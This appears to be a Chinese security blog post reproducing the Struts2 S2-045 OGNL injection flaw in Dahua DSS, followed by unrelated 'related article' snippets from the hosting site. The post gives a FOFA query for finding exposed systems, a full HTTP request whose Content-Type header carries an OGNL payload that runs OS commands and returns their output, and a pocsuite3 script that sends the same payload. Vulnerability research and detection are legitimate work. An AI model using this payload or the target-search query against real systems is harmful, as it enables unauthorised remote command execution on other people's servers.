漏洞復現-大華dss struts2-045表達式注入漏洞(附漏洞檢測腳本)

免責聲明

文章中涉及的漏洞均已修復,敏感信息均已做打碼處理,文章僅做經驗分享用途,切勿當真,未授權的攻擊屬于非法行為!文章中敏感信息均已做多層打馬處理。傳播、利用本文章所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,作者不為此承擔任何責任,一旦造成后果請自行負責

漏洞描述

大華DSS存在s2-45漏洞。

fofa語句

body="/portal/include/script/dahuaDefined/headCommon.js?type=index"&&title="DSS"

poc語句加檢測

GET /admin/login_login.action HTTP/1.1
Host: 
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

poc腳本

腳本用的pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2023/12/09 19:02
# @Author: 煉金術師諸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_strclass dahua_strutsrce(POCBase):pocDesc = '''大華DSS-struts2-045命令執行'''author = '煉金術師諸葛亮'createDate = '2023-12-09'name = '大華DSS-struts2-045命令執行'def _verify(self):result = {}path = "/admin/login_login.action"headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0','Content-Type': "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",'Upgrade-Insecure-Requests': '1','Accept-Encoding': 'gzip, deflate','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'}url = self.url + pathtry:response = requests.get(url, headers=headers,verify=False)# 驗證成功輸出相關信息print(response.text)if response.status_code == 200 and 'bin' in response.text:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = self.urlreturn self.parse_output(result)except Exception as e:passregister_poc(dahua_strutsrce)

腳本利用

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/211979.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/211979.shtml
英文地址,請注明出處:http://en.pswp.cn/news/211979.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【webpack】初始化

webpack 舊項目的問題下一代構建工具 Vite 主角 :webpack安裝webpack1,mode的選項2,使用source map 精準定位錯誤行數3,使用watch mode(觀察模式),自動運行4,使用webpack-dev-server工具,自動刷…

Linux_CentOS_7.9配置oracle sqlplus、rman實現上下按鍵切換歷史命令等便捷效率功能之簡易記錄

配置oracle sqlplus以及rman可以上下按鍵切換歷史命令等便捷效率功能 設置前提是已經yum安裝了rlwrap軟件具體軟件下載及配置參考文章http://t.csdnimg.cn/iXuVK su - oracleVim .bash_profile ## 文件中增加如下的別名設置 ---------------- alias sqlplusrlwrap sqlplus…

c++的算術生成算法

#include<numeric>//算術生成算法頭文件 要加的頭文件#include<numeric> accumulate 是 C 標準庫中的一個算法函數&#xff0c;用于計算給定范圍內的數值之和&#xff0c;它位于 <numeric> 頭文件中。它的函數原型如下&#xff1a; template <class In…

Matlab之帶時區的日期時間數據和不帶時區的日期時間數據相互轉換方法

使用datetime和datetimezone函數 通過使用datetime和datetimezone函數&#xff0c;可以將帶時區的日期時間數據轉換為不帶時區的數據&#xff0c;或者將不帶時區的日期時間數據轉換為帶時區的數據。這樣可以滿足坐標區的配置要求。 1、將帶時區的日期時間數據轉換為不帶時區的…

理解IoC容器初始化

問題&#xff1a;當自己面試或者背誦八股文時&#xff0c;會背到各種各樣的spring底層的東西&#xff0c;自己越看越迷糊。 OS&#xff1a;不知道兄弟們是不是也會這樣&#xff1f;如果大家沒有說明我太菜了。 原因&#xff1a;就是自己學的框架越來越多&#xff0c;很多框架…

?types --- 動態類型創建和內置類型名稱?

目錄 動態類型創建 標準解釋器類型 附加工具類和函數 協程工具函數 源代碼: Lib/types.py 此模塊定義了一些工具函數&#xff0c;用于協助動態創建新的類型。 它還為某些對象類型定義了名稱&#xff0c;這些名稱由標準 Python 解釋器所使用&#xff0c;但并不像內置的 int …

代碼規范及開發工具

代碼規范及開發工具&#xff1a; 前端&#xff08;vscode、idea&#xff09;: JavaScript規范&#xff1a; 1. 谷歌開源項目風格指南&#xff1a;JavaScript 、TypeScript篇 https://zh-google-styleguide.readthedocs.io/en/latest/google-typescript-…

P8625.生命之樹

求最大的子樹之和 維護包含當前節點的最大子樹之和就好了 #include<bits/stdc.h> using namespace std; using ll long long; const int N 1e610; ll w[N]; vector<int>g[N]; ll f[N]; ll res;ll dfs(int u,int father){f[u] w[u];for(auto &t:g[u]){if(tf…

2023.12.10 homework

五年級一元一次方程

C語言作業6

1.聯合體也會完全浪費空間 2.在結構體中 注意好偏移量和實際是第幾個的區別 那個對齊數是和偏移量有關的 (就用我之前的那個就行了) 3. 字節序 才有大小端

參數占位符#{}和${}

#是預處理而$是直接替換 Mybatis在處理#{}時&#xff0c;會將SQL中的#{}替換成占位符&#xff1f;&#xff0c;再使用preparedStatement的set方法來賦值。而Mybatis在處理 時&#xff0c;是將 {}時&#xff0c;是將 時&#xff0c;是將{}直接替換成變量的值 我們分別使用#{}和…

Redis AOF源碼解析

本文取3.0版本分析&#xff08;各個版本差異很大&#xff0c;4.0以上才有aof和rdb混合模式&#xff09; 觸發時機 1、bgrewriteaofCommand函數觸發&#xff0c;即在Redis server服務上運行bgrewriteaof命令。 1-1、當前已經有 AOF 重寫的子進程正在執行&#xff0c;重復執行bg…

JavaScript-Window對象

Window對象 BOM&#xff1a;瀏覽器對象模型 定時器-延時函數 JavaScript內置的一個用來讓代碼延遲執行的函數&#xff0c;setTimeout setTimeout(回調函數&#xff0c;等待的毫秒數);setTimeout僅僅只執行依次&#xff0c;所以可以理解為就是把一段代碼延遲執行&#xff0c…

網絡協議疑點記錄

1.RIP, OSPF,BGP 首先什么是自治系統:治系統就是幾個路由器組成了一個小團體 ?,小團體內部使用專用的協議進行通信,而小團體和小團體之間也使用專用的協議進行通信。 IGP RIP 距離矢量路由算法,bellman-ford算法,每個路由節點知道全局的路由信息,通過和鄰居交換信息得…

五.單行函數

單行函數 1.函數的理解1.1什么是函數1.2不同DBMS函數的差異1.3MySQL的內置函數分類 2.數值函數2.1基本函數2.2角度與弧度互換函數2.3三角函數2.4指數與對數2.5進制間的轉換 3.字符串函數4.日期和時間函數4.1獲取日期、時間4.2日期與時間戳的轉換4.3獲取月份、星期、星期數、天數…

perl處理base64、md5、SHA-1、SHA-256的計算

使用perl可以進行base64、md5、SHA-1、SHA-256的計算&#xff0c;使用也非常方便&#xff0c;下面是示例代碼&#xff1a; #! /usr/bin/perl use v5.14; use MIME::Base64; use Digest;my $test_str hello world;# 測試base64 say encode_base64($test_str);# 測試md5 my $md…

【Copilot】Edge瀏覽器的copilot消失了怎么辦

這種原因&#xff0c;可能是因為你的ip地址的不在這個服務的允許范圍內。你需要重新使用之前出現copilot的ip地址&#xff0c;然后退出edge的賬號&#xff0c;重新登錄一遍&#xff0c;最后重啟edge&#xff0c;就能夠使得copilot側邊欄重新出現了。

【已解決】ModuleNotFoundError: No module named ‘pandas‘

問題描述 ModuleNotFoundError: No module named ‘pandas’ 解決辦法 pip install pandas 完結撒花 熟悉的人相遇&#xff0c;就像久旱等到的甘霖

計算機基礎知識66

Auth的補充 #概念&#xff1a;是django 的一個app&#xff0c;關于用戶的登錄&#xff0c;退出&#xff0c;注冊... # 配置文件中配置&#xff1a;表會被遷移 INSTALLED_APPS [django.contrib.auth,] # auth有哪些表---權限控制&#xff1a; Permission&#xff1a;auth_permi…

Java 中連接 SQL 數據庫

在 Java 中&#xff0c;連接 SQL 數據庫通常使用 JDBC&#xff08;Java Database Connectivity&#xff09;。以下是使用 IntelliJ IDEA 連接 SQL 數據庫的一般步驟&#xff1a; 1. 引入 JDBC 驅動&#xff1a;首先&#xff0c;你需要下載并引入與你所使用的數據庫相對應的 JD…